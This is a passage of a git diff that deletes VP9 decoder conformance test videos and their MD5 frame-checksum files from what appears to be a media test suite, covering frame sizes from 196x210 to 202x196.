-fccc18714a9ed3840bd6e9c6ca4858e5  vp90-2-03-size-196x210-196x210-0001.i420
-a8f6eb43cf6ed670eb180c5051de06f7  vp90-2-03-size-196x210-196x210-0002.i420
-6a9baf9eae6e799deaefd6e801f7ace3  vp90-2-03-size-196x210-196x210-0003.i420
-3bb44c8a45aab088c9887c11bc6a4acf  vp90-2-03-size-196x210-196x210-0004.i420
-0907a7e926be9e54bbb087251b4715d9  vp90-2-03-size-196x210-196x210-0005.i420
-10fef2876c20eb3f9570c0c23e5acc69  vp90-2-03-size-196x210-196x210-0006.i420
-ffe5d2b6d874af0f878075c97940ccfb  vp90-2-03-size-196x210-196x210-0007.i420
-d10fae10144ff88075048827203f7e9c  vp90-2-03-size-196x210-196x210-0008.i420
-bdf35736ac625f2178902c1f24d513c0  vp90-2-03-size-196x210-196x210-0009.i420
-30882bf2c21785be6234b637c4b16b28  vp90-2-03-size-196x210-196x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x224.vp9
deleted file mode 100644
index 605dddf..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x224_vp9_md5
deleted file mode 100644
index 18395ce..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-13263674ea5aa619250dfd139bda872f  vp90-2-03-size-196x224-196x224-0001.i420
-39f5cbd8917f2b3a1df8cf2b786266de  vp90-2-03-size-196x224-196x224-0002.i420
-f9aade31f9e3065f3d5b8645ef099ac6  vp90-2-03-size-196x224-196x224-0003.i420
-124f9664380f092e692b5e881f5a8fcc  vp90-2-03-size-196x224-196x224-0004.i420
-e8e040e417830f5e911537828ace21b7  vp90-2-03-size-196x224-196x224-0005.i420
-84ce09882b9c184a787e8022e6d8c8de  vp90-2-03-size-196x224-196x224-0006.i420
-b1397fd91814e4fdc4f75c89161ced26  vp90-2-03-size-196x224-196x224-0007.i420
-d64f39d64d248f0223ed359e092d46cb  vp90-2-03-size-196x224-196x224-0008.i420
-e04ee663dcc52eebd74255671c6f4ec9  vp90-2-03-size-196x224-196x224-0009.i420
-955303cb73bf072c693f37d9778ca2b6  vp90-2-03-size-196x224-196x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x226.vp9
deleted file mode 100644
index 29f7381..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x226_vp9_md5
deleted file mode 100644
index 1c250d6..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-5cb240f10761f59687612ed589759800  vp90-2-03-size-196x226-196x226-0001.i420
-9d8d5b57336ddfa5c9c5100a0302197d  vp90-2-03-size-196x226-196x226-0002.i420
-9db74997d23b16f527c63e88795331dc  vp90-2-03-size-196x226-196x226-0003.i420
-52758cd901533e790334d464bee516da  vp90-2-03-size-196x226-196x226-0004.i420
-40e671b9b85d07b13acba85eb64bbbaa  vp90-2-03-size-196x226-196x226-0005.i420
-8524b2cd2c9bb3e41c6167f8269e75d2  vp90-2-03-size-196x226-196x226-0006.i420
-ff194ad6fa180fde86cc05a99c0580ec  vp90-2-03-size-196x226-196x226-0007.i420
-22ab303cb37745a73c227cd7d1c70003  vp90-2-03-size-196x226-196x226-0008.i420
-01986c58e82e0b5194418f5b75a8599c  vp90-2-03-size-196x226-196x226-0009.i420
-eedfc9c14cbf3fa10402dbed52103848  vp90-2-03-size-196x226-196x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x196.vp9
deleted file mode 100644
index 78d6b72..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x196_vp9_md5
deleted file mode 100644
index fc8de27..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c980866a6f17d4107ce128ee112d74cf  vp90-2-03-size-198x196-198x196-0001.i420
-d4d5d2a10e73f1d09919355dc4d63d48  vp90-2-03-size-198x196-198x196-0002.i420
-82c76ed020acb68ff9d8bd81899aa6f8  vp90-2-03-size-198x196-198x196-0003.i420
-8330705fa354fb5838af56dcf9cc0980  vp90-2-03-size-198x196-198x196-0004.i420
-e47b63d839a592e6372d18249bf5bc0c  vp90-2-03-size-198x196-198x196-0005.i420
-b6095b6f752a50e96cab52e7c3fd52f3  vp90-2-03-size-198x196-198x196-0006.i420
-fc4786f48b6ee31043d94f79c5c8a54f  vp90-2-03-size-198x196-198x196-0007.i420
-7d3d06c96496bd5ab44fe5489877771d  vp90-2-03-size-198x196-198x196-0008.i420
-5b96de089a9faa2dc01697fe9dd97f7f  vp90-2-03-size-198x196-198x196-0009.i420
-d7361203b4c264067dcb7bf6912e8df2  vp90-2-03-size-198x196-198x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x198.vp9
deleted file mode 100644
index b66e0d8..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x198_vp9_md5
deleted file mode 100644
index 7eae1b0..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-ee0760611da9938e72f551d219671c76  vp90-2-03-size-198x198-198x198-0001.i420
-c512cb8a864c25318254438c7170f373  vp90-2-03-size-198x198-198x198-0002.i420
-aaea10aeb7dfd1f9f6dc77adccfcd56f  vp90-2-03-size-198x198-198x198-0003.i420
-fb4e68ce202d9c6ecbddc6fe50b1cd7b  vp90-2-03-size-198x198-198x198-0004.i420
-57a803d02f0d71ec4c3c17a112574525  vp90-2-03-size-198x198-198x198-0005.i420
-526d0beaf7ef721c3a6ae8bf3505fd78  vp90-2-03-size-198x198-198x198-0006.i420
-972ab31f81dbb79c2273bcfc98569e8b  vp90-2-03-size-198x198-198x198-0007.i420
-e1f05d62691bd1a9494d57449417415c  vp90-2-03-size-198x198-198x198-0008.i420
-bc39a559b25e5a1ac698e0101bd6bf29  vp90-2-03-size-198x198-198x198-0009.i420
-04caed04ac21c76af873e21899860fb2  vp90-2-03-size-198x198-198x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x200.vp9
deleted file mode 100644
index 5f6d62e..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x200_vp9_md5
deleted file mode 100644
index 777aeef..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-fb0e8171b0f91d9b2ceb5430db27a67b  vp90-2-03-size-198x200-198x200-0001.i420
-73f121e6aa0e6290cfd06ac9b033c772  vp90-2-03-size-198x200-198x200-0002.i420
-4113897efc44f49f5169a579bee03596  vp90-2-03-size-198x200-198x200-0003.i420
-aec1d4cf1a15e12b689980cfe136d5d6  vp90-2-03-size-198x200-198x200-0004.i420
-1322af65f647254330120e67ddae38bd  vp90-2-03-size-198x200-198x200-0005.i420
-5d28c1684451812c9db41433e6286d85  vp90-2-03-size-198x200-198x200-0006.i420
-33843fc49d1d8655520c2f42332222ca  vp90-2-03-size-198x200-198x200-0007.i420
-92a8125d8c75eaf6159d5f431c5c71bf  vp90-2-03-size-198x200-198x200-0008.i420
-5bc96553842f65a3e37f012b72b580f5  vp90-2-03-size-198x200-198x200-0009.i420
-de5eb6299ee5034dc3b01cdc94bf810a  vp90-2-03-size-198x200-198x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x202.vp9
deleted file mode 100644
index 89f03df..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x202_vp9_md5
deleted file mode 100644
index a5eef00..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-f5e1cf4cc56742fadddf42189a3f65e3  vp90-2-03-size-198x202-198x202-0001.i420
-f3e8ca2c8deb29a6b5bfe415b39c901e  vp90-2-03-size-198x202-198x202-0002.i420
-89c513049e41e145bca46a7f7119567c  vp90-2-03-size-198x202-198x202-0003.i420
-419089035739e84f1aa14ccdf34edcb1  vp90-2-03-size-198x202-198x202-0004.i420
-4962c98c23b16b9257869a8ad5138731  vp90-2-03-size-198x202-198x202-0005.i420
-fde9e858ec895c36c2d8071e69f68db6  vp90-2-03-size-198x202-198x202-0006.i420
-42e1271915f31a00be3627fa866ce3ee  vp90-2-03-size-198x202-198x202-0007.i420
-c15f794933f913861a6d0041ff2fccdb  vp90-2-03-size-198x202-198x202-0008.i420
-35dab245ba952dc6fddc1a9668c30b28  vp90-2-03-size-198x202-198x202-0009.i420
-30bb4ef77cdde9cf5aea0f1287183b23  vp90-2-03-size-198x202-198x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x208.vp9
deleted file mode 100644
index 49eca9f..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x208.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x208_vp9_md5
deleted file mode 100644
index eccf93d..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-d45b561f81cbfcca8a1dddbc2bf8ca31  vp90-2-03-size-198x208-198x208-0001.i420
-3664f63b2e59e380622caadb7a05545e  vp90-2-03-size-198x208-198x208-0002.i420
-0662fa199512320704efecc10af1aaa4  vp90-2-03-size-198x208-198x208-0003.i420
-d8dc00882e73be89d0585663892cbcff  vp90-2-03-size-198x208-198x208-0004.i420
-ff64b8d50b7c5b484a06dab09a26147c  vp90-2-03-size-198x208-198x208-0005.i420
-1771b6a55112eb7ea10885d1390339cc  vp90-2-03-size-198x208-198x208-0006.i420
-0d5944e8a13e3c2faffb562bbe2671a8  vp90-2-03-size-198x208-198x208-0007.i420
-744bed3a88407b75a8ff27a1b0cec64e  vp90-2-03-size-198x208-198x208-0008.i420
-3887415f2ab10d2a265c4a413e7060b9  vp90-2-03-size-198x208-198x208-0009.i420
-7dd683019b19b464bc0436f41e0b7c87  vp90-2-03-size-198x208-198x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x210.vp9
deleted file mode 100644
index 97dfd89..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x210_vp9_md5
deleted file mode 100644
index 0c19c2f..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-8525a27170982c059d5904c1af3b43fb  vp90-2-03-size-198x210-198x210-0001.i420
-c4eb329733913360384d3917a58f6f36  vp90-2-03-size-198x210-198x210-0002.i420
-ec118b87c9cba0e4bd89fd43567cca4e  vp90-2-03-size-198x210-198x210-0003.i420
-7e57c6caba7924823977e2c9bc11f7fa  vp90-2-03-size-198x210-198x210-0004.i420
-f77ffb7228a5eda848acc40ff636ecad  vp90-2-03-size-198x210-198x210-0005.i420
-c5dddafbe3badcbbcaaebe97076e0394  vp90-2-03-size-198x210-198x210-0006.i420
-34d69ae2e5b4c4fbcc51627237c9abc5  vp90-2-03-size-198x210-198x210-0007.i420
-d9c63fa8b18d6c54e5fa31db866c06cc  vp90-2-03-size-198x210-198x210-0008.i420
-7ab392764a399328bf35977539e3148a  vp90-2-03-size-198x210-198x210-0009.i420
-7fbb7bae3ec775298aaa49a286dfb9d1  vp90-2-03-size-198x210-198x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x224.vp9
deleted file mode 100644
index 360ab98..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x224_vp9_md5
deleted file mode 100644
index 12c6979..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-5f69230bfd8bb485bd85552b18339fc0  vp90-2-03-size-198x224-198x224-0001.i420
-f5c365774fc1d0bffd5025ce2e931aaf  vp90-2-03-size-198x224-198x224-0002.i420
-2898234103c3624e6470ae82c916e000  vp90-2-03-size-198x224-198x224-0003.i420
-d82a7fa705180b68a8ee8cb7de0cdd2d  vp90-2-03-size-198x224-198x224-0004.i420
-144a162d418deae62883a2cc4c341b4c  vp90-2-03-size-198x224-198x224-0005.i420
-b3419a48385e42ca15717289ff2daa1c  vp90-2-03-size-198x224-198x224-0006.i420
-d6306b5737f88f989bf2e6a1084a94fe  vp90-2-03-size-198x224-198x224-0007.i420
-5669761d7417b52b3cf81d44a13e3fb7  vp90-2-03-size-198x224-198x224-0008.i420
-3f730b8658d7a6657d1af38c75357512  vp90-2-03-size-198x224-198x224-0009.i420
-27df68d515148f732325bf821037d59f  vp90-2-03-size-198x224-198x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_198x226.vp9
deleted file mode 100644
index c4d1a7c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_198x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_198x226_vp9_md5
deleted file mode 100644
index 31305ef..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_198x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-412c33a8fd71c99e68e6701b050b107c  vp90-2-03-size-198x226-198x226-0001.i420
-8e69483ff8a094096dd550b30be20dde  vp90-2-03-size-198x226-198x226-0002.i420
-b8df87ab3d2613be31a3743e34d7e794  vp90-2-03-size-198x226-198x226-0003.i420
-ec4b08a4014950f1fe04e83f8a790af0  vp90-2-03-size-198x226-198x226-0004.i420
-030da2b60627d879730108826ce6632c  vp90-2-03-size-198x226-198x226-0005.i420
-03aab0c9b4d75bc0b47fa5237e9efe3d  vp90-2-03-size-198x226-198x226-0006.i420
-fd01e369df258f340eb8e486c07ae136  vp90-2-03-size-198x226-198x226-0007.i420
-1c301f0e60c96008fd7b6e8de1ebaa29  vp90-2-03-size-198x226-198x226-0008.i420
-912723f43b2b36366c3e6ab122d31801  vp90-2-03-size-198x226-198x226-0009.i420
-b2774a66f7aa0fb7dd7e64b0d67818cd  vp90-2-03-size-198x226-198x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x196.vp9
deleted file mode 100644
index 2d8ea87..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x196_vp9_md5
deleted file mode 100644
index 0b38c2b..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-651a0627c6cdaee8b46e1f8c4121a368  vp90-2-03-size-200x196-200x196-0001.i420
-3e63075148df16f69c933cf6c63e078c  vp90-2-03-size-200x196-200x196-0002.i420
-edf18e52b7d52af2bb7594ed358542d8  vp90-2-03-size-200x196-200x196-0003.i420
-30284124756d00d10f4f8428206ceab8  vp90-2-03-size-200x196-200x196-0004.i420
-6f6ecde53cd0ea5298f4529d396460c6  vp90-2-03-size-200x196-200x196-0005.i420
-0431d389278957fbef3e72f69f3ce008  vp90-2-03-size-200x196-200x196-0006.i420
-a047c60c4c60d2ea1f79c86dc98cdf8e  vp90-2-03-size-200x196-200x196-0007.i420
-dceda8bf128a8cdcadfa6c5db49cde51  vp90-2-03-size-200x196-200x196-0008.i420
-d8a6283637f5abda17e0bf150eac2983  vp90-2-03-size-200x196-200x196-0009.i420
-33dca31ef26fdd0daf9971c8de685d01  vp90-2-03-size-200x196-200x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x198.vp9
deleted file mode 100644
index e910dea6..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x198_vp9_md5
deleted file mode 100644
index 055811c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-d4b3578d800c747bcabaa484a140ffb0  vp90-2-03-size-200x198-200x198-0001.i420
-a40f6f8c384c5dc3d5546d960bb6d9e5  vp90-2-03-size-200x198-200x198-0002.i420
-e270ae8754d9906dd88b1c7d05280801  vp90-2-03-size-200x198-200x198-0003.i420
-bde7fde5012840c5e188f3b29f4f0003  vp90-2-03-size-200x198-200x198-0004.i420
-8f8510c1130615b64fb8469af66ff678  vp90-2-03-size-200x198-200x198-0005.i420
-79b9d4e0c64f82a6e9540394222a593d  vp90-2-03-size-200x198-200x198-0006.i420
-34852ac9ca5c6bfa51736296784343c7  vp90-2-03-size-200x198-200x198-0007.i420
-b055218509dbed644113642f8f0ac8a8  vp90-2-03-size-200x198-200x198-0008.i420
-1628866b436f1c4b892474025226e545  vp90-2-03-size-200x198-200x198-0009.i420
-3fdec760c04e30c90e74afb38dbf757c  vp90-2-03-size-200x198-200x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x200.vp9
deleted file mode 100644
index 039ccef..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x200_vp9_md5
deleted file mode 100644
index b6d78f8..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-b339f4e563afadb25f43b8c05b12dc03  vp90-2-03-size-200x200-200x200-0001.i420
-3bd5280e7fb42400085b0b1dbba1905e  vp90-2-03-size-200x200-200x200-0002.i420
-acf1c84cabff763fe2073d2c1f183bfc  vp90-2-03-size-200x200-200x200-0003.i420
-eaa4983b6baf907efb11d137644569d2  vp90-2-03-size-200x200-200x200-0004.i420
-8a1871c8dc38a19dfd4ac571ad7f39be  vp90-2-03-size-200x200-200x200-0005.i420
-0be539bd51f5f364828dd0abc70360be  vp90-2-03-size-200x200-200x200-0006.i420
-df60622d2c9f294f61d738be9e3bd16c  vp90-2-03-size-200x200-200x200-0007.i420
-22b3f1d51ddf92c7d2add305ba0ef405  vp90-2-03-size-200x200-200x200-0008.i420
-01ba29be721e64a5a50526de0797c7d3  vp90-2-03-size-200x200-200x200-0009.i420
-7b7aa7fa0e58202b3104671375762587  vp90-2-03-size-200x200-200x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x202.vp9
deleted file mode 100644
index 10ed70e..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x202_vp9_md5
deleted file mode 100644
index f93617e..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c4a13df44e66f06961dd72fc990439e9  vp90-2-03-size-200x202-200x202-0001.i420
-81c73b8d3806ad96af8f422914a253f8  vp90-2-03-size-200x202-200x202-0002.i420
-05f77526125e802be9cb306e375ded6e  vp90-2-03-size-200x202-200x202-0003.i420
-ab2e224840ff89abec2c675a23a73094  vp90-2-03-size-200x202-200x202-0004.i420
-c30f58f88819eb57102678b169e15188  vp90-2-03-size-200x202-200x202-0005.i420
-33e5e2799eb4a9c548c8372fd6769db9  vp90-2-03-size-200x202-200x202-0006.i420
-fa53c1c7e60bd1d00335af542ec69ed7  vp90-2-03-size-200x202-200x202-0007.i420
-534cafe658af10a314d6d084e55b3620  vp90-2-03-size-200x202-200x202-0008.i420
-502529e4fbecc8b890abf665fa21f53c  vp90-2-03-size-200x202-200x202-0009.i420
-bf1f73c6e77370bc51a770c8ae87bd12  vp90-2-03-size-200x202-200x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x208.vp9
deleted file mode 100644
index a78b114..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x208.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x208_vp9_md5
deleted file mode 100644
index 4611a4a..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-702748bec18c500dd41d93ae74b11d56  vp90-2-03-size-200x208-200x208-0001.i420
-4fb542190dab2fd673724d47451ff6ee  vp90-2-03-size-200x208-200x208-0002.i420
-dbb4d27d52797dab67e39d32092c9d44  vp90-2-03-size-200x208-200x208-0003.i420
-e4a0ed1572207b7ba433896bba711148  vp90-2-03-size-200x208-200x208-0004.i420
-28ec32bc165f4f9d455efec8a7aa8737  vp90-2-03-size-200x208-200x208-0005.i420
-a95910575a6423abffb28ca38c384b34  vp90-2-03-size-200x208-200x208-0006.i420
-791f1c558c5467725f4614a75a8a687e  vp90-2-03-size-200x208-200x208-0007.i420
-cfd3e12f84f7a811966721e890228313  vp90-2-03-size-200x208-200x208-0008.i420
-824c5fdf938551c28ac1c996645ae52f  vp90-2-03-size-200x208-200x208-0009.i420
-7465917fdd0206e393968232a0ec5193  vp90-2-03-size-200x208-200x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x210.vp9
deleted file mode 100644
index 27a3f405..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x210_vp9_md5
deleted file mode 100644
index 75c190c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-31ef44bd12ae702f306c55eba10d2ba7  vp90-2-03-size-200x210-200x210-0001.i420
-83e9d913f5aa058d79a81047ca45e4a2  vp90-2-03-size-200x210-200x210-0002.i420
-b5e21313b859f1e2c67aaac5fefc9f68  vp90-2-03-size-200x210-200x210-0003.i420
-959d63c1b219c3479af673a9a8b8d82c  vp90-2-03-size-200x210-200x210-0004.i420
-ffcfaf42b69c7cd92f6e3c21987ff7df  vp90-2-03-size-200x210-200x210-0005.i420
-e9667d3ee4d8179da44de4fbffcb7df2  vp90-2-03-size-200x210-200x210-0006.i420
-5e2c841bcf4ec6f3a05020d36986fe5b  vp90-2-03-size-200x210-200x210-0007.i420
-19fe287c30bd4c90b00a9631409568c0  vp90-2-03-size-200x210-200x210-0008.i420
-58a8843e50b19860a0a91e1e1bb63bfd  vp90-2-03-size-200x210-200x210-0009.i420
-0ebd31e18597a567f96645acbb2500cf  vp90-2-03-size-200x210-200x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x224.vp9
deleted file mode 100644
index 61d8df6..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x224_vp9_md5
deleted file mode 100644
index 0f64dfc..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-315d69847bf752a84231a368278eb0b6  vp90-2-03-size-200x224-200x224-0001.i420
-d245738f8627fc345ab38a547bc7d352  vp90-2-03-size-200x224-200x224-0002.i420
-982681cdca448919c2eead94435772ad  vp90-2-03-size-200x224-200x224-0003.i420
-7b67b2d96476e17cd407bbccb19fd070  vp90-2-03-size-200x224-200x224-0004.i420
-c38dde73ca097049d1fc689e18a49b5d  vp90-2-03-size-200x224-200x224-0005.i420
-525f323b81d780c669a03655bb0d0b56  vp90-2-03-size-200x224-200x224-0006.i420
-5dbeb96f65e383771c1c877ec559044a  vp90-2-03-size-200x224-200x224-0007.i420
-7d96e976265ef0f9faf173376caaa9e9  vp90-2-03-size-200x224-200x224-0008.i420
-6047c805a724701b80a133486aae0e65  vp90-2-03-size-200x224-200x224-0009.i420
-eb8895dd994076a52aa3a0c1758ccbb7  vp90-2-03-size-200x224-200x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_200x226.vp9
deleted file mode 100644
index cc08073..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_200x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_200x226_vp9_md5
deleted file mode 100644
index 42f870c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_200x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-e45b6b9dce4a8509b7d26bc3cfdf7c86  vp90-2-03-size-200x226-200x226-0001.i420
-ddb9d5033ecfa2d6e9a5505dce374bda  vp90-2-03-size-200x226-200x226-0002.i420
-52c495d3137143e0bce9382fe5506057  vp90-2-03-size-200x226-200x226-0003.i420
-d09f3d6ad084f2966196acd48246f951  vp90-2-03-size-200x226-200x226-0004.i420
-1556d006d0119a3172b98a500b27f8d0  vp90-2-03-size-200x226-200x226-0005.i420
-904f86cfbcc3fa683d3d7744a286cd88  vp90-2-03-size-200x226-200x226-0006.i420
-b35907456b8ccab0ae8efc8405b04c89  vp90-2-03-size-200x226-200x226-0007.i420
-b7f2648fe0f873f7e9ea4a6d913e45ec  vp90-2-03-size-200x226-200x226-0008.i420
-2da76544bc7e295486c335e17047e12e  vp90-2-03-size-200x226-200x226-0009.i420
-10fd6424caf837d37564ef15f1c6f93d  vp90-2-03-size-200x226-200x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x196.vp9
deleted file mode 100644
index 5961c56..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x196_vp9_md5
deleted file mode 100644
index 1e76804..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-1261466179df96099e598e46c50fa7c1  vp90-2-03-size-202x196-202x196-0001.i420
-cc0fe373cd0399cf0c95edf92d9ab01f  vp90-2-03-size-202x196-202x196-0002.i420
-7a2dc0afd06ecfcf54321fb759f57601  vp90-2-03-size-202x196-202x196-0003.i420
-db9c138503d27f87449f870ab07cab03  vp90-2-03-size-202x196-202x196-0004.i420
-ddea2e5e2659e97132a537566d5ed989  vp90-2-03-size-202x196-202x196-0005.i420
-c31e90b5eee032526c4e0603332fd160  vp90-2-03-size-202x196-202x196-0006.i420
-7e5b40f03b905d9ee749d3097a484ea0  vp90-2-03-size-202x196-202x196-0007.i420
